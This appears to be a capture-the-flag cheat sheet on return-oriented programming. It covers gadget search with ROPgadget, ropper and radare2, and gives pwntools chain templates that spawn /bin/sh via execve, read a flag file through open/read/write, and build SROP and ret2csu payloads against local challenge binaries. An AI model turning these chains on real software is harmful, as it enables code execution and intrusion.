rop::gadgets

tool ROPgadget · ropper gadget search
ConceptsROPgadgetropper radare2pwntools ROPKey gadgets Chain templatesSROP
01ROP Concepts
How ROP works
# NX/DEP: stack not executable → can't run shellcode
# ROP: chain existing code snippets (gadgets) ending in ret
# Each gadget does a tiny operation, then ret pops next addr

# Stack layout for ROP chain:
#  [padding]          ← overflow to here
#  [gadget1_addr]     ← ret address → jumps here
#  [value_for_gadget1]← data popped by gadget1
#  [gadget2_addr]     ← gadget1's ret jumps here
#  [value_for_gadget2]
#  [function_addr]    ← final call

# x86-64 calling convention:
# arg1=rdi  arg2=rsi  arg3=rdx  arg4=rcx  arg5=r8  arg6=r9
# → need: pop rdi; ret  to set arg1
# → need: pop rsi; ret  to set arg2  etc.
Stack alignment
# x86-64 ABI: RSP must be 16-byte aligned before CALL
# If system() crashes: likely misalignment
# Fix: insert a bare 'ret' gadget before system()

# Check alignment in GDB:
# p $rsp & 0xf  → should be 0x0 at CALL point

python3 -c "
from pwn import *
elf = ELF('./challenge')
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]

payload = b'A' * offset
payload += p64(ret)           # alignment fix
payload += p64(win_addr)
"

# Rule of thumb:
# odd number of 8-byte items after padding → add ret
# even number → probably fine
02ROPgadget
Basic usage
# Install
pip install ROPgadget

# Find all gadgets
ROPgadget --binary ./challenge
ROPgadget --binary ./libc.so.6

# Search for specific gadget
ROPgadget --binary ./challenge --rop | grep "pop rdi"
ROPgadget --binary ./challenge | grep "pop rdi ; ret"
ROPgadget --binary ./challenge | grep "pop rsi"
ROPgadget --binary ./challenge | grep ": ret$"   # bare ret
ROPgadget --binary ./challenge | grep "syscall"
ROPgadget --binary ./challenge | grep "jmp rsp"  # ret2stack

# Search specific string pattern
ROPgadget --binary ./challenge --string "/bin/sh"
ROPgadget --binary ./libc.so.6 --string "/bin/sh"
Advanced options
# Specify architecture
ROPgadget --binary ./arm_bin --arch ARM
ROPgadget --binary ./bin     --arch x86    # 32-bit
ROPgadget --binary ./bin     --arch x86-64 # 64-bit

# Avoid bad bytes in addresses
ROPgadget --binary ./challenge --badbytes "000a0d"

# Limit gadget depth (default 10 instructions)
ROPgadget --binary ./challenge --depth 5

# Auto-generate ROP chain (basic)
ROPgadget --binary ./challenge --ropchain

# With specific base address (PIE)
ROPgadget --binary ./challenge --offset 0x400000

# Output to file
ROPgadget --binary ./challenge > gadgets.txt

# Multiple binaries
ROPgadget --binary ./challenge --binary ./libc.so.6
03ropper
Basic usage
# Install
pip install ropper

# Interactive mode
ropper

# Direct search
ropper -f ./challenge
ropper -f ./challenge --search "pop rdi"
ropper -f ./challenge --search "% rdi"      # regex
ropper -f ./challenge --search "pop rdi; ret"
ropper -f ./libc.so.6 --search "pop rdx"

# Show only clean gadgets (short, useful)
ropper -f ./challenge --type rop
ropper -f ./challenge --type jop   # JOP gadgets
ropper -f ./challenge --type sys   # syscall gadgets

# Avoid bad bytes
ropper -f ./challenge --badbytes "\\x00\\x0a"

# String search
ropper -f ./libc.so.6 --string "/bin/sh"
ropper interactive mode
# Start interactive
ropper

# Inside ropper shell:
file ./challenge          # load binary
file ./libc.so.6          # add libc
search pop rdi            # search gadget
search % rdi              # regex search
search /bin/sh            # string search
stack                     # stack pivot gadgets
imagebase 0x400000        # set base (PIE)
ropchain execve           # auto-generate execve chain
quit

# Useful ropper searches:
# search pop rdi; ret
# search mov rdi, rax; ret
# search xchg rsp, rax; ret  (stack pivot)
# search leave; ret          (stack pivot)
04radare2 ROP
r2 gadget search
# Inside r2:
/R pop rdi               # search for gadget
/R ret                   # bare ret
/R syscall               # syscall
/R jmp rsp               # JMP RSP (ret2stack)
/R/ pop rdi; ret         # exact multi-gadget
/R/ xchg rsp, rax; ret   # stack pivot

# Output includes address — use directly

# r2pipe batch gadget extract
python3 -c "
import r2pipe, re
r = r2pipe.open('./challenge', flags=['-A'])
out = r.cmd('/R pop rdi')
for line in out.splitlines():
    if 'pop rdi' in line and 'ret' in line:
        addr = re.search(r'0x[0-9a-f]+', line)
        if addr: print(addr.group())
"
rasm2 — assemble gadgets
# Assemble instruction → hex bytes
rasm2 -a x86 -b 64 "pop rdi; ret"   # → 5fc3
rasm2 -a x86 -b 64 "xor rax, rax; syscall"
rasm2 -a x86 -b 64 "push rsp; pop rdi; ret"

# Disassemble bytes → instruction
rasm2 -a x86 -b 64 -d "5fc3"        # → pop rdi; ret
rasm2 -a x86 -b 64 -d "0f05"        # → syscall
rasm2 -a x86 -b 64 -d "c3"          # → ret

# Find byte pattern in binary
rabin2 -q ./challenge
grep -oba $'\x5f\xc3' ./challenge    # pop rdi; ret
05Essential Gadgets Reference
x86-64 gadget lookup
PurposeGadgetBytesNotes
Set arg1 (rdi)pop rdi ; ret5f c3Most common, almost always present
Set arg2 (rsi)pop rsi ; ret5e c3Or: pop rsi ; pop r15 ; ret
Set arg3 (rdx)pop rdx ; ret5a c3Rare — check libc
Set rax (syscall nr)pop rax ; ret58 c3For raw syscall chains
Stack alignretc3Use before system() if misaligned
Stack pivotxchg rsp, rax ; ret48 94 c3Move stack to controlled buffer
Stack pivotleave ; retc9 c3mov rsp, rbp ; pop rbp ; ret
Syscallsyscall ; ret0f 05 c3For SROP or raw syscall
Write memorymov [rdi], rsi ; retvariesWrite arbitrary value to address
JMP RSPjmp rspff e4Execute shellcode on stack (no NX)
Zero rdxxor rdx, rdx ; ret48 31 d2 c3Clear third arg
06Chain Templates
execve(/bin/sh) via syscall
# syscall: rax=59, rdi=/bin/sh ptr, rsi=0, rdx=0
python3 -c "
from pwn import *
elf  = ELF('./challenge')
libc = ELF('./libc.so.6')
rop  = ROP(elf)

pop_rax    = rop.find_gadget(['pop rax', 'ret'])[0]
pop_rdi    = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi    = rop.find_gadget(['pop rsi', 'ret'])[0]
xor_rdx    = rop.find_gadget(['xor rdx', 'rdx', 'ret'])[0]
syscall    = rop.find_gadget(['syscall', 'ret'])[0]
binsh      = next(libc.search(b'/bin/sh'))

chain  = p64(pop_rdi) + p64(binsh)
chain += p64(pop_rsi) + p64(0)
chain += p64(xor_rdx)          # rdx = 0
chain += p64(pop_rax) + p64(59) # execve syscall nr
chain += p64(syscall)
"
Open/read/write flag (ORW)
# Open flag file, read into buf, write to stdout
# Needed when execve is blocked (seccomp)
python3 -c "
from pwn import *
elf  = ELF('./challenge')
rop  = ROP(elf)

pop_rax = rop.find_gadget(['pop rax','ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi','ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx','ret'])[0]
syscall = rop.find_gadget(['syscall','ret'])[0]
flag_buf = 0x404200  # writable memory for flag

# open('flag', 0, 0) → rax=2
chain  = p64(pop_rdi) + p64(flag_buf)    # filename
chain += p64(pop_rsi) + p64(0)           # O_RDONLY
chain += p64(pop_rdx) + p64(0)
chain += p64(pop_rax) + p64(2)           # open
chain += p64(syscall)
# read(fd, buf, 100) → rax=0; fd=3 usually
chain += p64(pop_rax) + p64(0)           # read
chain += p64(pop_rdi) + p64(3)           # fd
chain += p64(pop_rsi) + p64(flag_buf+0x100)
chain += p64(pop_rdx) + p64(100)
chain += p64(syscall)
# write(1, buf, 100) → rax=1
chain += p64(pop_rax) + p64(1)           # write
chain += p64(pop_rdi) + p64(1)           # stdout
chain += p64(syscall)
"
07SROP — Sigreturn ROP
SROP concept
# sigreturn restores full CPU context from stack
# Fake a sigreturn frame → set ALL registers at once
# Only need: syscall gadget + pop rax gadget

# Useful when:
# - Very few gadgets available
# - Need to set rdx (hard to find)
# - Static binary with minimal gadgets

# pwntools SigreturnFrame
python3 -c "
from pwn import *
context(arch='amd64', os='linux')

pop_rax = 0x401234
syscall = 0x401236

frame = SigreturnFrame()
frame.rax = 59           # execve
frame.rdi = 0x404200     # /bin/sh address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall      # where to jump after sigreturn

payload  = b'A' * offset
payload += p64(pop_rax) + p64(15)  # sigreturn syscall nr
payload += p64(syscall)
payload += bytes(frame)            # fake sigreturn frame
"
ret2csu (limited gadgets)
# __libc_csu_init contains useful gadgets
# gadget1: pop rbx; pop rbp; pop r12; pop r13;
#          pop r14; pop r15; ret
# gadget2: mov rdx, r13; mov rsi, r14;
#          mov edi, r15d; call [r12+rbx*8]

# Use to set rdx (hard gadget) via r13
python3 -c "
from pwn import *
elf = ELF('./challenge')

# Find gadgets in __libc_csu_init
csu_init = elf.sym['__libc_csu_init']
# gadget1 ~ csu_init + 0x4a (varies)
# gadget2 ~ csu_init + 0x40

# Set: rdx=val, rsi=val2, call target
payload = flat(
    gadget1,         # pop r13-r15, rbx, rbp
    0,               # rbx = 0
    1,               # rbp = 1
    got_target,      # r12 = &function_ptr
    rdx_val,         # r13 → rdx
    rsi_val,         # r14 → rsi
    edi_val,         # r15 → edi
    gadget2          # call [r12+0]
)
"
GADGET HUNT WORKFLOW →  ① ROPgadget --binary ./elf | grep "pop rdi"  ② ROPgadget --binary ./libc.so.6 | grep "pop rdx" (for rdx)  ③ ROPgadget --binary ./elf | grep ": ret$" (stack align)  ④ ROPgadget --binary ./libc.so.6 --string "/bin/sh"  ⑤ ropper -f ./elf --search "syscall" for ORW chains  ⑥ If no rdx gadget → ret2csu or SROP